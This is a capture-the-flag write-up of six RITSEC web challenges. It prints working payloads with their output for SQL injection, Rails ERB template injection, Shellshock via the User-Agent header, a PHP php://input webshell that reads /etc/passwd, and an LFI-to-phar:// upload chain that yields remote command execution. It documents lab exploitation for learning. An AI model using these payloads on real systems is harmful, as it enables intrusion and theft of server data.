Table of Contents
-
Space Force (100)
-
The Tangled Web (200)
-
Crazy Train (250)
-
What a cute dog! (350)
-
Lazy Dev (400)
-
Archivr (300)
Space Force (100)
The first challenge was basic SQLi:' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}
The Tangled Web (200):
This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:$ wget -rm http://fun.ritsec.club:8007/
Looking for files containing the term flag
:
$ grep -ri 'flag' .
fun.ritsec.club:8007/Waving.html
17: <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>
fun.ritsec.club:8007/Fl4gggg1337.html
18: <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>
Fl4gggg1337.html
sounds interesting! Looking in there we find a link to Stars.html
:
$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
Decoding the base64, we get the flag!
$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}
Crazy Train (250):
This webapp had an article list & submission:
The title of this challenge & 404 page revealed it's a rails app:
Submitting a new article resulted in an interesting hidden parameter with an empty value:
..&article[a]=&..
With no value specified the POST would result in a blank page.
If we add a value to article[a]
it reflects back to the client:
..&article[a]=AAAA&..
AAAA
Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):
..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..
AAAA49BBBB
Looks like it worked! Let's try something more productive:
..&article[a]=Dir["./*"].to_s&..
["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
"./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
"./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]
Now just read the flag:
..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}
What a cute dog! (350):
This web challenge had a minimal page with some linux output:
Looks like command injection. Looking in the source we can see the cgi-bin script used:
<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>
Visiting the cgi-bin script directly we get the same stats
output as the home
page.
If we curl the cgi script with shellshock
in the User-Agent
header, we get
command execution:
$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Looking for flag.txt
on the server, we find it in /opt
:
$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
/opt/flag.txt
Then we just read the flag:
$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}
Lazy Dev (400):
This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
Sounds like devsrule.php
contains a backdoor.
If we look at that page, we see:
$ curl http://fun.ritsec.club:8007/devsrule.php
Not what you input eh?
This param is 'magic' man.
This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:
$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1
Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(
So we know it must have something to do with this magic param as mentioned in the description.
The next part took a while to figure out, but it's also mentioned in the
description. The only other word which stands out is 'input'
.
PHP contains a special wrapper 'input://
' which can take 'stdin
' from POST
data. Adding this with the magic
parameter, and a webshell in the POST data,
we get what we would expect:
$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'
Not what you input eh?<br>This param is 'magic' man.<br><br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Grabbing the users, we see joker
, which may be where the flag is:
$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
Looking in joker
's home directory we see a flag.txt, and cat it:
$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}
Archivr (300):
The first bug was found very quickly. After visiting one of the pages, we get a URL like:
http://fun.ritsec.club:8004/index.php?page=upload
This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:
$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index
PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K
This decodes to:
<?php
include("classes.php.inc");
include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>
We can see why the LFI happened, now what does upload do? The main chunk of code is:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_FILES['upload']['size'] > 5000) { //max 5KB
die("File too large!");
}
$filename = $_FILES['upload']['name'];
$upload_time = time();
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";
$ext = "";
if (strpos($filename, '.') !== false) {
$f_ext = explode(".", $filename)[1];
if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
$ext = "." . $f_ext;
} else {
$ext = ".dat";
}
} else {
$ext = ".dat";
}
$upload_path = $upload_dir . md5($upload_time) . $ext;
mkdir($upload_dir, 770, true);
//Enforce maximum of 10 files
$dir = new DirLister($upload_dir);
if ($dir->getCount() >= 10) {
unlink($upload_dir . $dir->getOldestFile());
}
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
$key = $upload_time . $ext;
}
?>
It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/
directory with the md5 value of time()
.
The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:
$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'
Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.27.0.2:80 10.0.10.254:45996 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46396 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46096 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:45826 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46524 SYN_RECV
tcp 0 0 172.27.0.2:80 10.0.10.254:46794 ESTABLISHED
tcp 0 0 172.27.0.2:80 10.0.10.254:46520 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46246 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:45944 TIME_WAIT
tcp 0 0 172.27.0.2:80 10.0.10.254:46076 TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
Proto RefCnt Flags Type State I-Node Path</pre>
The target internal IP is:
10.0.10.254
Next we can upload a simple web-shell and include it using the PHP wrapper phar://
.
The web-shell (shell.php)
:
<pre><? echo system($_GET['cmd']); ?></pre>
Zipping the web-shell for usage with phar
:
$ zip -0 shell.zip shell.php
After uploading shell.zip
we get the current time with a .zip
extension: 1542574010.zip
.
The new filename will be md5(time())
or md5('1542574010')
:
$ echo -n 1542574010 | md5
61fda3e4ccb1a54721aa8b42519de46e
The upload directory will be the md5 hash of the internal IP we found:
$ echo -n 10.0.10.254 | md5
98d3cbed97b0bc491c000455c9f8e6fb
Combining this all together, using the same url as the LFI with phar://
instead of php://filter
, we can list the directory:
$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls
...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...
Looks like we have the flag!
$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}